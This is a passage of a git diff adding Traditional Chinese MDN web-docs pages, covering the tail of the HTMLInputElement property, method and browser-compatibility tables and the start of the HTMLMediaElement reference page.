+   <td><em><code>string</code>:</em> Returns / Sets the element's {{ htmlattrxref("formmethod", "input") }} attribute, containing the HTTP method that the browser uses to submit the form. This overrides the {{ htmlattrxref("method", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code></td>
+   <td><em><code>boolean</code>:</em> Returns / Sets the element's {{ htmlattrxref("formnovalidate", "input") }} attribute, indicating that the form is not to be validated when it is submitted. This overrides the {{ htmlattrxref("novalidate", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formTarget</code></td>
+   <td><em><code>string</code>:</em> Returns / Sets the element's {{ htmlattrxref("formtarget", "input") }} attribute, containing a name or keyword indicating where to display the response that is received after submitting the form. This overrides the {{ htmlattrxref("target", "form") }} attribute of the parent form.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply to any type of input element that is not hidden</caption>
+ <tbody>
+  <tr>
+   <td><code>name</code></td>
+   <td><em><code>string</code>:</em> Returns / Sets the element's {{ htmlattrxref("name", "input") }} attribute, containing a name that identifies the element when submitting the form.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code><em>string:</em></code> Returns / Sets the element's {{ htmlattrxref("type", "input") }} attribute, indicating the type of control to display. See {{ htmlattrxref("type", "input") }} attribute of {{ HTMLElement("input") }} for possible values.</td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td><em><code>boolean</code>:</em> Returns / Sets the element's {{ htmlattrxref("disabled", "input") }} attribute, indicating that the control is not available for interaction. The input values will not be submitted with the form. See also {{ htmlattrxref("readOnly", "input") }} </td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td><code><em>boolean:</em></code> Returns / Sets the element's {{ htmlattrxref("autofocus", "input") }} attribute, which specifies that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the {{htmlattrxref("autofocus","input")}} attribute. It cannot be applied if the {{htmlattrxref("type","input")}} attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control).</td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td><em><code>boolean</code>:</em> Returns / Sets the element's {{ htmlattrxref("required", "input") }} attribute, indicating that the user must fill in a value before submitting a form.</td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td><code><em>string:</em></code> Returns / Sets the current value of the control.
+    <p class="note"><strong>Note:</strong> If the user enters a value different from the value expected, this may return an empty string.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>validity</code> {{readonlyInline}}</td>
+   <td><code><em>{{domxref("ValidityState")}} object:</em></code> Returns the validity state that this element is in.</td>
+  </tr>
+  <tr>
+   <td><code>validationMessage</code> {{readonlyInline}}</td>
+   <td><code><em>string:</em></code> Returns a localized message that describes the validation constraints that the control does not satisfy (if any). This is the empty string if the control is not a candidate for constraint validation ({{htmlattrxref("willValidate","input")}} is false), or it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td><code>willValidate </code>{{readonlyInline}}</td>
+   <td><em><code>{{jsxref("Boolean")}}:</code></em> Indicates whether the element is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply only to elements of type "checkbox" or "radio"</caption>
+ <tbody>
+  <tr>
+   <td><code>checked</code></td>
+   <td> <code><em>boolean:</em> </code>Returns / Sets the current state of the element when {{htmlattrxref("type","input")}} is <code>checkbox</code> or <code>radio</code>.</td>
+  </tr>
+  <tr>
+   <td><code>defaultChecked</code></td>
+   <td><em><code>boolean:</code></em> Returns / Sets the default state of a radio button or checkbox as originally specified in HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code>indeterminate</code></td>
+   <td><code><em>boolean:</em></code> indicates that the checkbox is neither on nor off.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply only to elements of type "image"</caption>
+ <tbody>
+  <tr>
+   <td><code>alt</code></td>
+   <td><em><code>string</code>: </em>Returns / Sets the element's {{ htmlattrxref("alt", "input") }} attribute, containing alternative text to use when {{htmlattrxref("type","input")}} is <code>image.</code></td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td><em><code>string</code>: </em>Returns / Sets the element's {{ htmlattrxref("height", "input") }} attribute, which defines the height of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td><code><em>string:</em></code> Returns / Sets the element's {{ htmlattrxref("src", "input") }} attribute, which specifies a URI for the location of an image to display on the graphical submit button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td><code><em>string:</em></code> Returns / Sets the document's {{ htmlattrxref("width", "input") }} attribute, which defines the width of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply only to elements of type "file"</caption>
+ <tbody>
+  <tr>
+   <td><code>accept</code></td>
+   <td><em><code>string</code>: </em>Returns / Sets the element's {{ htmlattrxref("accept", "input") }} attribute, containing comma-separated list of file types accepted by the server when {{htmlattrxref("type","input")}} is <code>file</code>.</td>
+  </tr>
+  <tr>
+   <td><code>allowdirs</code> {{non-standard_inline}}</td>
+   <td>boolean: Part of the non-standard Directory Upload API; indicates whether or not to allow directories and files both to be selected in the file list. Implemented only in Firefox and is hidden behind a preference.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.webkitdirectory", "webkitdirectory")}} {{Non-standard_inline}}</td>
+   <td>boolean: Returns the {{htmlattrxref("webkitdirectory", "input")}} attribute; if true, the file system picker interface only accepts directories instead of files.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.webkitEntries", "webkitEntries")}} {{Non-standard_inline}}</td>
+   <td>Array of {{domxref("FileSystemEntry")}} objects describing the currently-selected files or directories.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply only to text/number-containing or elements</caption>
+ <tbody>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td><em><code>string</code>: </em>Returns / Sets the element's {{htmlattrxref("autocomplete", "input")}} attribute, indicating whether the value of the control can be automatically completed by the browser. Ignored if the value of the {{htmlattrxref("type","input")}} attribute is <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type (<code>button</code>, <code>submit</code>, <code>reset</code>, <code>image</code>). Possible values are:<br>
+    "on": the browser can autocomplete the value using previously stored value<br>
+    "off": the user must explicity enter a value</td>
+  </tr>
+  <tr>
+   <td><code>maxLength</code></td>
+   <td><em><code>long</code>:</em> Returns / Sets the element's {{ htmlattrxref("maxlength", "input") }} attribute, containing the <u><strong>maximum <strong>l</strong>ength of characters</strong></u> (in Unicode code points) that the value can have. (If you set this to a negative number, an exception will be thrown.)</td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td><em><code>unsigned long</code>:</em> Returns / Sets the element's {{ htmlattrxref("size", "input") }} attribute, containing <u><strong>size of the control</strong></u>. This value is in pixels unless the value of {{htmlattrxref("type","input")}} is <code>text</code> or <code>password</code>, in which case, it is an integer number of characters. Applies only when {{htmlattrxref("type","input")}} is set to <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, or <code>password</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td><em><code>string</code>:</em> Returns / Sets the element's {{ htmlattrxref("pattern", "input") }} attribute, containing a <u><strong>regular expression</strong></u> that the control's value is checked against.  Use the {{htmlattrxref("title","input")}} attribute to describe the pattern to help the user. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td><em><code>string</code>: </em>Returns / Sets the element's {{ htmlattrxref("placeholder", "input") }} attribute, containing a hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>readOnly</code></td>
+   <td><em><code>boolean</code>:</em> Returns / Sets the element's {{ htmlattrxref("readonly", "input") }} attribute, indicating that the user cannot modify the value of the control.<br>
+    {{HTMLVersionInline(5)}}This is ignored if the value of the {{htmlattrxref("type","input")}} attribute is <code>hidden</code>, <code>range</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td><em><code>string</code>:</em> Returns / Sets the element's {{ htmlattrxref("min", "input") }} attribute, containing the minimum (numeric or date-time) value for this item, which must not be greater than its maximum ({{htmlattrxref("max","input")}} attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td><em><code>string</code>:</em> Returns / Sets the element's {{ htmlattrxref("max", "input") }} attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>selectionStart</code></td>
+   <td><em><code>unsigned long</code>:</em> Returns / Sets the beginning index of the selected text. When nothing is selected, this returns the position of the text input cursor (caret) inside of the {{HTMLElement("input")}} element.</td>
+  </tr>
+  <tr>
+   <td><code>selectionEnd</code></td>
+   <td><em><code>unsigned long</code>:</em> Returns / Sets the end index of the selected text. When there's no selection, this returns the offset of the character immediately following the current text input cursor position.</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td><em><code>string</code>:</em> Returns / Sets the direction in which selection occurred. Possible values are:<br>
+    <code>"forward"</code> if selection was performed in the start-to-end direction of the current locale,<br>
+    <code>"backward"</code> for the opposite direction,<br>
+    <code>"none"</code> if the direction is unknown."</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties not yet categorized</caption>
+ <tbody>
+  <tr>
+   <td><code>defaultValue</code></td>
+   <td><em><code>string:</code></em> Returns / Sets the default value as originally specified in the HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code>dirName</code></td>
+   <td><em><code>string:</code></em> Returns / Sets the directionality of the element.</td>
+  </tr>
+  <tr>
+   <td><code>accessKey</code></td>
+   <td><em><code>string</code>: </em>Returns a string containing a single character that switches input focus to the control when pressed.</td>
+  </tr>
+  <tr>
+   <td><code>list</code> {{readonlyInline}}</td>
+   <td><em><code>{{domxref("HTMLElement")}} object:</code></em> Returns the element pointed by the {{ htmlattrxref("list", "input") }} attribute. The property may be <code>null</code> if no HTML element found in the same tree.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td><em><code>boolean</code>:</em> Returns / Sets the element's {{ htmlattrxref("multiple", "input") }} attribute, indicating whether more than one value is possible (e.g., multiple files).</td>
+  </tr>
+  <tr>
+   <td><code>files</code> {{readonlyInline}}</td>
+   <td><em><code>{{domxref("FileList")}} array:</code></em> Returns the list of selected files.</td>
+  </tr>
+  <tr>
+   <td><code>labels</code> {{readonlyInline}}</td>
+   <td><code><em>{{domxref("NodeList")}} array:</em></code> Returns a list of {{ HTMLElement("label") }} elements that are labels for this element.</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td><code><em>string:</em></code> Returns / Sets the element's {{ htmlattrxref("step", "input") }} attribute, which works with<strong> </strong>{{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} to limit the increments at which a numeric or date-time value can be set. It can be the string <code>any</code> or a positive floating point number. If this is not set to <code>any</code>, the control accepts only values at multiples of the step value greater than the minimum.</td>
+  </tr>
+  <tr>
+   <td><code>valueAsDate</code></td>
+   <td><code><em>{{jsxref("Date")}} object:</em></code> Returns / Sets the value of the element, interpreted as a date, or <code>null</code> if conversion is not possible.</td>
+  </tr>
+  <tr>
+   <td><code>valueAsNumber</code></td>
+   <td><code>double</code>: Returns the value of the element, interpreted as one of the following, in order:
+    <ul>
+     <li>a time value</li>
+     <li>a number</li>
+     <li>NaN if conversion is impossible</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code> {{experimental_inline}}</td>
+   <td><code><em>string:</em></code> defines the capitalization behavior for user input. Valid values are <code>none</code>, <code>off</code>, <code>characters</code>, <code>words</code>, or <code>sentences</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{domxref("HTMLInputElement.align")}} {{obsolete_inline}}</dt>
+ <dd><code><em>string:</em></code> represents the alignment of the element. <em>Use CSS instead.</em></dd>
+ <dt>{{domxref("HTMLInputElement.useMap")}} {{ obsolete_inline }}</dt>
+ <dd><code><em>string:</em></code> represents a client-side image map.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>focus()</code></td>
+   <td>Focus on the input element; keystrokes will subsequently go to this element.</td>
+  </tr>
+  <tr>
+   <td><code>blur()</code></td>
+   <td>Removes focus from input; keystrokes will subsequently go nowhere.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select">select()</a></code></td>
+   <td>Selects the input text in the element, and focuses it so the user can subsequently replace the whole entry.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/click">click()</a></code></td>
+   <td>Simulates a click on the element.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/HTMLInputElement/setSelectionRange">setSelectionRange()</a></code></td>
+   <td>Selects a range of text in the element (but does not focus it). The optional selectionDirection parameter may be "forward" or "backward" to establish the direction in which selection was set, or "none" if the direction is unknown or not relevant. The default is "none". Specifying a selectionDirection parameter sets the value of the selectionDirection property.</td>
+  </tr>
+  <tr>
+   <td><code>setRangeText()</code></td>
+   <td>Selects a range of text in the element (but does not focus it). The optional selectionDirection parameter may be "forward" or "backward" to establish the direction in which selection was set, or "none" if the direction is unknown or not relevant. The default is "none". Specifying a selectionDirection parameter sets the value of the selectionDirection property.</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code></td>
+   <td>Sets a custom validity message for the element. If this message is not the empty string, then the element is suffering from a custom validity error, and does not validate.</td>
+  </tr>
+  <tr>
+   <td><code>checkValidity()</code></td>
+   <td>Returns a {{jsxref("Boolean")}} that is <code>false</code> if the element is a candidate for constraint validation, and it does not satisfy its constraints. In this case, it also fires an {{event("invalid")}} event at the element. It returns <code>true</code> if the element is not a candidate for constraint validation, or if it satisfies its constraints.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{domxref("HTMLInputElement.stepDown()")}}</dt>
+ <dd>Decrements the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception:
+ <ul>
+  <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value,</li>
+  <li>if the element has no {{htmlattrxref("step","input")}} value,</li>
+  <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number,</li>
+  <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}. </li>
+ </ul>
+ </dd>
+ <dt>{{domxref("HTMLInputElement.stepUp()")}}</dt>
+ <dd>Increments the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception:
+ <ul>
+  <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.,</li>
+  <li>if the element has no {{htmlattrxref("step","input")}} value,</li>
+  <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number,</li>
+  <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("HTMLInputElement.mozSetFileArray()")}}{{non-standard_inline}}</dt>
+ <dd>Sets the files selected on the input to the given array of {{domxref("File")}} objects.  This is an alternative to <code>mozSetFileNameArray()</code> which can be used in frame scripts: a chrome script can <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">open files as File objects</a> and send them via <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">message manager</a>.</dd>
+ <dt>{{domxref("HTMLInputElement.mozGetFileNameArray()")}}</dt>
+ <dd>Returns an array of all the file names from the input.</dd>
+ <dt>{{domxref("HTMLInputElement.mozSetFileNameArray()")}}</dt>
+ <dd>Sets the filenames for the files selected on the input.  Not for use in <a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">frame scripts</a>, because it accesses the file system.</dd>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Technically, the  tabindex and accesskey properties, as well as the blur(), click(), and focus() methods, are now defined on {{domxref("HTMLElement")}}.<br>
+    The following properties are now obsolete: align and useMap.<br>
+    The following properties have been added: autocomplete, autofocus, dirName, files, formAction, formEncType, formMethod, formNoValidate, formTarget, height, indeterminate, labels, list, max, min, multiple, pattern, placeholder, required, selectionDirection, selectionEnd, selectionStart, step, validationMessage, validity, valueAsDate, valueAsNumber, width, and willValidate.<br>
+    The following methods have been added: checkValidity(), setCustomValidity(), setSelectionRange(), stepUp(), and stepDown().</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The size property is now an unsigned long. The type property must be entirely given in lowercase characters.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocomplete &amp; autofocus properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>files property</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9)}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>multiple property</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>indeterminate property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>list property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formAction, formEncType, formMethod, formTarget properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formNoValidate, validationMessage, validity, willValidate properties and setCustomValidity() and checkValidity() methods.</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pattern, placeholder, required properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>height and weight properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(16)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>labels property</td>
+   <td>{{CompatChrome(14.0)}}</td>
+   <td>{{CompatNo}} ({{bug("556743")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min, max, and step for &lt;input type="number"&gt;</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental, and without specific UI, since {{CompatGeckoDesktop(16)}}: behind the pref dom.experimental_forms</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>stepUp and stepDown methods</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Experimental since {{CompatGeckoDesktop(16)}}: behind the pref dom.experimental_forms<br>
+    <br>
+    There are still differences with the latest spec: {{bug(835773)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min, max, and step properties for &lt;input type="range"&gt;</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min, max, and step properties for &lt;input type="date"&gt;</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental, and without specific UI, since {{CompatGeckoDesktop(20)}}: behind the pref dom.experimental_forms</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min, max, and step properties for other date-related type values</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>mozGetFileNameArray() and mozSetFileNameArray() methods {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>mozSetFileArray() method {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("38")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>autocapitalize</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocapitalize</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{CompatUnknown}}</span></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{ HTMLElement("input") }}.</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlmediaelement/index.html b/files/zh-tw/web/api/htmlmediaelement/index.html
new file mode 100644
index 0000000000..68d1122e81
--- /dev/null
+++ b/files/zh-tw/web/api/htmlmediaelement/index.html
@@ -0,0 +1,243 @@
+---
+title: HTMLMediaElement
+slug: Web/API/HTMLMediaElement
+translation_of: Web/API/HTMLMediaElement
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary">The <strong><code>HTMLMediaElement</code></strong> interface adds to {{domxref("HTMLElement")}} the properties and methods needed to support basic media-related capabilities that are common to audio and video.</span> The {{domxref("HTMLVideoElement")}} and {{domxref("HTMLAudioElement")}} elements both inherit this interface.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>這個介面從{{domxref("HTMLElement")}}、{{domxref("Element")}}、{{domxref("Node")}}，和{{domxref("EventTarget")}}繼承了屬性</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>{{domxref("AudioTrackList")}} 會列出包含在該媒體元素內部的{{domxref("AudioTrack")}}物件。</dd>
+ <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt>
+ <dd>是一個布林值，表達了HTML中是否有{{htmlattrxref("autoplay", "video")}}屬性；意即；表明是否只要在媒體可以播放且不中斷的時候，能夠自動播放。
+ <div class="note">在網站上自動播放音訊（或是有音訊的影片），可能是惱人的使用者體驗；因此，應該盡可能地避免。如果你必須要有自動播放的功能，你應該讓它是可選擇的（讓使用者特地去啟動）。 However, this can be useful when creating media elements whose source will be set at a later time, under user control.</div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt>
+ <dd>回傳一個{{domxref("TimeRanges")}}物件，表示媒體當下<code>buffered</code>屬性被瀏覽器存取時的緩存（如果有的話）區間。</dd>
+ <dt>{{domxref("HTMLMediaElement.controller")}}</dt>
+ <dd>Is a {{domxref("MediaController")}} object that represents the media controller assigned to the element, or <code>null</code> if none is assigned.</dd>
+ <dt>{{domxref("HTMLMediaElement.controls")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that reflects the {{htmlattrxref("controls", "video")}} HTML attribute, indicating whether user interface items for controlling the resource should be displayed.</dd>
+ <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("DOMTokenList")}} that helps the user agent select what controls to show on the media element whenever the user agent shows its own set of controls. The <code>DOMTokenList</code> takes one or more of three possible values: <code>nodownload</code>, <code>nofullscreen</code>, and <code>noremoteplayback</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} indicating the <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS setting</a> for this media element.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} with the absolute URL of the chosen media resource.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentTime")}}</dt>
+ <dd>Is a <code>double</code> indicating the current playback time in seconds. Setting this value seeks the media to the new time.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultMuted")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that reflects the {{htmlattrxref("muted", "video")}} HTML attribute, which indicates whether the media element's audio output should be muted by default.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt>
+ <dd>Is a <code>double</code> indicating the default playback rate for the media.</dd>
